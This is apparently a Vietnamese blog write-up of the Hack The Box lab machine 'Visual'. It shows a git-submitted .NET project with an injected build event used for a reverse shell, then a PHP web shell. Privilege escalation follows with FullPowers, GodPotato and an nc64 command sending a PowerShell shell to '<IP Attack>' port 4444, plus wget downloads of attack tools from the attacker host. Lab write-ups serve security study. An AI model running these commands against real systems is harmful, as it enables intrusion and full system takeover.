Visual

Enumeration

Zenmap:

Hệ thông chỉ mở một port duy nhất là 80.
Kiểm tra website:
Tôi thấy có một hướng dẫn về website, đây là một website giúp tôi build dll file của project c# hoặc dotnet 6.0, bắt buộc file có file sln và tôi có thể build nó qua git repo.
Tôi kích hoạt git repo của mình và submit nó lên hệ thống. Chò đợi một khoảng thời gian và tôi nhận được kết quả sau:
PS D:\thehackbox\Machines\Visual> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.234 - - [01/Oct/2023 20:38:17] code 404, message File not found
::ffff:10.10.11.234 - - [01/Oct/2023 20:38:17] "GET /.git/info/refs?service=git-upload-pack HTTP/1.1" 404 -
Tôi thấy một vài kết nối tới server git của tôi nhưng không tồn tại. Tôi nghĩ tới việc tạo một project dotnet và git repo cho project của tôi.

PS D:\thehackbox\Machines\Visual> # create project folder dryu8
PS D:\thehackbox\Machines\Visual> mkdir dryu8

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         10/1/2023   8:41 PM                dryu8


PS D:\thehackbox\Machines\Visual> cd .\dryu8\
PS D:\thehackbox\Machines\Visual\dryu8> # new project dryu8
PS D:\thehackbox\Machines\Visual\dryu8> dotnet new console -n dryu8 -f net6.0
The template "Console App" was created successfully.

Processing post-creation actions...
Restoring D:\thehackbox\Machines\Visual\dryu8\dryu8\dryu8.csproj:
  Determining projects to restore...
  Restored D:\thehackbox\Machines\Visual\dryu8\dryu8\dryu8.csproj (in 107 ms).
Restore succeeded.


PS D:\thehackbox\Machines\Visual\dryu8> # new sln dryu8
PS D:\thehackbox\Machines\Visual\dryu8> dotnet new sln --name dryu8
The template "Solution File" was created successfully.

PS D:\thehackbox\Machines\Visual\dryu8> # add project dryu8 into sln
PS D:\thehackbox\Machines\Visual\dryu8> dotnet sln add .\dryu8\
Project `dryu8\dryu8.csproj` added to the solution.
PS D:\thehackbox\Machines\Visual\dryu8>
Tôi đã tạo thành công project dotnet 6.0. Tạo repo git cho project:
PS D:\thehackbox\Machines\Visual\dryu8> git init
Initialized empty Git repository in D:/thehackbox/Machines/Visual/dryu8/.git/
PS D:\thehackbox\Machines\Visual\dryu8> git add .
PS D:\thehackbox\Machines\Visual\dryu8> git commit -m "update"
[master (root-commit) cadd91b] update
 8 files changed, 231 insertions(+)
 create mode 100644 dryu8.sln
 create mode 100644 dryu8/Program.cs
 create mode 100644 dryu8/dryu8.csproj
 create mode 100644 dryu8/obj/dryu8.csproj.nuget.dgspec.json
 create mode 100644 dryu8/obj/dryu8.csproj.nuget.g.props
 create mode 100644 dryu8/obj/dryu8.csproj.nuget.g.targets
 create mode 100644 dryu8/obj/project.assets.json
 create mode 100644 dryu8/obj/project.nuget.cache
PS D:\thehackbox\Machines\Visual\dryu8> # create info git server.
PS D:\thehackbox\Machines\Visual\dryu8> git update-server-info
PS D:\thehackbox\Machines\Visual\dryu8>
Khi đó tôi có thể gửi nội dung project của tôi lên hệ thống. Khi đó tôi nhận được kết nối lấy dữ liệu từ hệ thống như sau:
PS D:\thehackbox\Machines\Visual\dryu8> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:04] "GET /.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:05] "GET /.git/HEAD HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:07] "GET /.git/objects/ca/dd91b671dfc8ed4a63cb467dabca8603fcb41b HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:09] "GET /.git/objects/c6/8c4b0c6e451adfec4af50401774df5e7d379e6 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:11] "GET /.git/objects/2b/cea53516dd8eff9d022a216dca32abbe216c12 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:11] "GET /.git/objects/fb/3db430aae50767137b5d6465f703f2694be3ed HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:13] "GET /.git/objects/37/51555cbd32d09340c8cb7b75ce8311c4330054 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:13] "GET /.git/objects/74/abf5c9766499f4fd79d4a9398f619d39c2e45e HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:13] "GET /.git/objects/d6/a1a24cdb4e4ea78a2fbce1eac45dd997eb1ab1 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:14] "GET /.git/objects/5b/b287b42417bc986a9c6826b39d702c16150835 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:14] "GET /.git/objects/3d/c06ef3cc4057524bf5d2cd49936dff789cebe8 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:14] "GET /.git/objects/c6/e39858bda597d641baa6d4643f6d0ea97be61a HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:14] "GET /.git/objects/38/cf7a7df2826dacd3b315e966871ae6346acddf HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 20:50:14] "GET /.git/objects/62/b666508b76af1b69eae6618ab68c63ce6da6d6 HTTP/1.1" 200 -
Khi đó website sẽ cung cấp cho tôi các file đã được build:

Gaining access visual\enox

Tôi đoán rằng khản năng trường trình được build với dotnet command. Biết rằng trong quá trình build dotnet projcet có Specify build events điều này sẽ giúp tôi chỉ định một sự kiện có thể sảy ra khi build project dotnet. Tôi nghĩ rằng mình có thể trèn một đoạn mã thực thi vào đây: Specify build events
Mở project tôi vừa tạo khi đó tôi có thể trèn một đoạn mã vào file dryu8.csproj:
REVERSE SHELL có rất nhiều loại khác nhau, nên tôi sẽ chọn một shell bất kỳ để kết nối được từ hệ thống windows về máy tính của tôi.
Sau đó thực hiện update lại git repo và mở kết nối git repo để hệ thống kết nối tới:
PS D:\thehackbox\Machines\Visual\dryu8> git add .\dryu8\dryu8.csproj
PS D:\thehackbox\Machines\Visual\dryu8> git commit -m "update csproj file"
[master 611f616] update csproj file
 1 file changed, 4 insertions(+)
PS D:\thehackbox\Machines\Visual\dryu8> git update-server-info
PS D:\thehackbox\Machines\Visual\dryu8> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:06] "GET /.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:08] "GET /.git/HEAD HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:09] "GET /.git/objects/61/1f616939829f5c2ec2473d0b3c101758b1ae8a HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:11] "GET /.git/objects/ca/dd91b671dfc8ed4a63cb467dabca8603fcb41b HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:11] "GET /.git/objects/da/cb07409c1579e64d01ea3451b99cf22defa45e HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:14] "GET /.git/objects/c6/8c4b0c6e451adfec4af50401774df5e7d379e6 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:14] "GET /.git/objects/fb/3db430aae50767137b5d6465f703f2694be3ed HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:14] "GET /.git/objects/1d/96f28813531e16db654b259cd1876352dd926a HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:16] "GET /.git/objects/16/b29aeeb0c5506a6cca678f1afc1147dd7fc952 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:16] "GET /.git/objects/2b/cea53516dd8eff9d022a216dca32abbe216c12 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:16] "GET /.git/objects/37/51555cbd32d09340c8cb7b75ce8311c4330054 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:16] "GET /.git/objects/d6/a1a24cdb4e4ea78a2fbce1eac45dd997eb1ab1 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:17] "GET /.git/objects/3d/c06ef3cc4057524bf5d2cd49936dff789cebe8 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:17] "GET /.git/objects/5b/b287b42417bc986a9c6826b39d702c16150835 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:17] "GET /.git/objects/c6/e39858bda597d641baa6d4643f6d0ea97be61a HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:17] "GET /.git/objects/38/cf7a7df2826dacd3b315e966871ae6346acddf HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:17] "GET /.git/objects/62/b666508b76af1b69eae6618ab68c63ce6da6d6 HTTP/1.1" 200 -
::ffff:10.10.11.234 - - [01/Oct/2023 21:05:20] "GET /.git/objects/74/abf5c9766499f4fd79d4a9398f619d39c2e45e HTTP/1.1" 200 -
Khi đó website hiển thị build time out:
Và tôi nhận được một reverse shell như sau:

Gaining access nt authority\local service

Nếu tôi cố gắng build file bị lỗi tôi có thể nhìn thấy thư mục chứa source code website
PS C:\Windows\Temp\c3ff67ac5be9f3ae9f47fbee5fdd8f\dryu8> cd ../../../../
PS C:\> cd xampp/htdocs
PS C:\xampp\htdocs> ls


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:32 AM                assets
d-----        6/10/2023  10:32 AM                css
d-----        6/10/2023  10:32 AM                js
d-----        10/1/2023   7:06 AM                uploads
-a----        6/10/2023   6:20 PM           7534 index.php
-a----        6/10/2023   4:17 PM           1554 submit.php
-a----        6/10/2023   4:11 PM           4970 vs_status.php


PS C:\xampp\htdocs>
Tôi nghĩ tới việc cố gắng tải lên một reverse shell php để kết nối từ website:
PS C:\xampp\htdocs> wget http://<IP Attack>/rev.php -O rev.php
PS C:\xampp\htdocs> ls


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:32 AM                assets
d-----        6/10/2023  10:32 AM                css
d-----        6/10/2023  10:32 AM                js
d-----        10/1/2023   7:06 AM                uploads
-a----        6/10/2023   6:20 PM           7534 index.php
-a----        10/1/2023   7:22 AM            363 rev.php
-a----        6/10/2023   4:17 PM           1554 submit.php
-a----        6/10/2023   4:11 PM           4970 vs_status.php


PS C:\xampp\htdocs>
Kiểm tra website shell mà tôi vừa tạo:
Webshell tồn tại và hoạt động. Tôi kết nối reverse shell:

Privilege escalation

FullPowers

FullPowers sử dụng để khôi phục lại đặc quyền mặc định của tài khoản: FullPowers
Quyền của user trước khi khôi phục:
Khôi phục đặc quyền tài khoản:
PS C:\Users\Public\Downloads> wget http://<IP Attack>/FullPowers.exe -O FullPowers.exe
PS C:\Users\Public\Downloads> ls


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/1/2023   1:11 AM          36864 FullPowers.exe


PS C:\Users\Public\Downloads> ./FullPowers.exe
[+] Started dummy thread with id 5312
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
PS C:\Users\Public\Downloads> ./FullPowers.exe -x
[+] Started dummy thread with id 5480
[+] Successfully created scheduled task.
[-] OpenThreadToken() failed (Err: 1008)
[-] Dummy thread failed.
PS C:\Users\Public\Downloads> ./FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 5256
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
PS C:\Users\Public\Downloads>
FullPowers không thể thành công với flag -x nhưng nó thành công gọi câu lệnh với flag -c. Tôi nghĩ mình cần sử dụng thêm command nc. Upload nó và khai thác:
PS C:\Users\Public\Downloads> wget http://<IP Attack>/nc64-32.exe -O nc64-32.exe
PS C:\Users\Public\Downloads> ls


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/1/2023   1:11 AM          36864 FullPowers.exe
-a----        10/1/2023   1:11 AM          49664 nc64-32.exe


PS C:\Users\Public\Downloads> ./FullPowers.exe -c "C:\Users\Public\Downloads\nc64-32.exe <IP Attack> 4444 -e powershell.exe"
Sau khi khôi phục đặc quyền tài khoản:

localservice privileges

Ngoài ra tôi cũng có thể làm theo phương pháp thủ công sau: localservice privileges
Dựa theo bài viết tôi thực hiện tạo Task Scheduler:
Khi đó tôi nhận được kết nối từ hệ thống như sau:
Thiếu vắng sự có mặt của đặc quyền SeImpersonatePrivilege theo như trong bài viết nói, thực hiện khôi phục đặc quyền:
Khi đó tôi nhận được kết nối từ hệ thống như sau:
Tôi đã có được quyền SeImpersonatePrivilege.

GodPotato

Tôi biết rằng:
Sử dụng GodPotato.exe: GodPotato
GoldPotato cho phép tôi khai thác Windows 2012 - Windows 2022, chỉ cần tôi có đặc quyền ImpersonatePrivilege. Khai thác của tôi như sau:
PS C:\Users\Public\Downloads> wget http://<IP Attack>/GodPotato.exe -O GodPotato.exe
PS C:\Users\Public\Downloads> ls


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/1/2023   1:11 AM          36864 FullPowers.exe
-a----        10/1/2023   3:20 AM          57344 GodPotato.exe
-a----        10/1/2023   1:11 AM          49664 nc64-32.exe


PS C:\Users\Public\Downloads>
Sau khi upload GodPotato. Tôi thực hiện khai thác nó:
PS C:\Users\Public\Downloads> ./GodPotato.exe -cmd "cmd /c whoami"
./GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140717179535360
[*] DispatchTable: 0x140717181841520
[*] UseProtseqFunction: 0x140717181217696
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\c5a93152-573f-44b1-90ce-3def0f436156\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002002-164c-ffff-1262-fde1bccbc001
[*] DCOM obj OXID: 0x59b4250572f36f15
[*] DCOM obj OID: 0x61d7fcaf66ffdbe3
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5792

nt authority\system
PS C:\Users\Public\Downloads>
Tôi thấy rằng mình đã chạy được lệnh với quyền system. Thực hiện tạo một lớp shell và lấy cờ.

Analyze website source code

Từ trong C:\xampp\htdocs tôi đọc source code của web service, khi upload bất kỳ một repo git dịch vụ sẽ gọi submit.php:
<?php

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $gitRepoLink = $_POST['gitRepoLink'];

    // Sanitize URL
    $gitRepoLink = filter_var($gitRepoLink, FILTER_SANITIZE_URL);

    // Validate URL
    if (!filter_var($gitRepoLink, FILTER_VALIDATE_URL)) {
        echo '<script>alert("Invalid URL"); window.location = "/index.php";</script>';
        exit();
    }

    // Check scheme
    $parsed_url = parse_url($gitRepoLink);
    if ($parsed_url === false || !in_array($parsed_url['scheme'], ['http', 'https'])) {
        echo '<script>alert("Unsupported URL scheme"); window.location = "/index.php";</script>';
        exit();
    }

    $randV = bin2hex(random_bytes(15)); // Generate a random variable.

    $uploadPath = 'C:\\xampp\\htdocs\\uploads\\';
    $todoFilePath = $uploadPath . 'todo.txt';
    $newDirPath = $uploadPath . $randV;

    // Write to file
    $fileContent = "Git Repo Link: $gitRepoLink, Random Variable: $randV\n";
    file_put_contents($todoFilePath, $fileContent, FILE_APPEND | LOCK_EX);

    // Create a new directory
    if (!is_dir($newDirPath)) {
        mkdir($newDirPath, true);
    }

    // Copying vs_status.php to the directory, which displays compile status
    $sourceFile = 'C:\\xampp\\htdocs\\vs_status.php';
    $destinationFile = $newDirPath.'\\index.php';

    if (copy($sourceFile, $destinationFile)) {
        echo '[+] File copied successfully.';
    } else {
        echo '[-] Unable to copy the file.';
    }

    // Redirect to the new directory
    header('Location: /uploads/' . $randV);
}

?>
Repo git của tôi sẽ được đặt trong uploadPath và nằm trong folder $randV 15 ký tự. Nhưng không tìm thấy hệ thống hay câu lệnh git source code của tôi lên server. Tôi đoán rằng web service trên hoàn toàn để đọc log từ một service khác. Nhìn vào souce code vs_status.php, Tôi thấy nó chỉ hoàn toàn đọc file log build.output sau khi log được update từ một service khác. Hiện tại tôi vẫn chưa tìm ra được source code đó.

Analyze website log

Sau khi upload repo git. Tôi đọc file log build.output:
Từ log trên tôi thấy rằng hệ thống sử dụng msbuild.exe để thực hiện việc build sau đó đẩy ra file log 
build.output. Tôi biết rằng dự đoán của tôi đã đúng khi một service khác thực thi và ghi log. Đó là lý do mà tôi có shell enox thay vì shell local service như web service.

Trong mùa này tôi sẽ cố gắng giải thích nhiều hơn, thay vì đưa ra các command. Tôi đi uống bia đây, good luck.


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post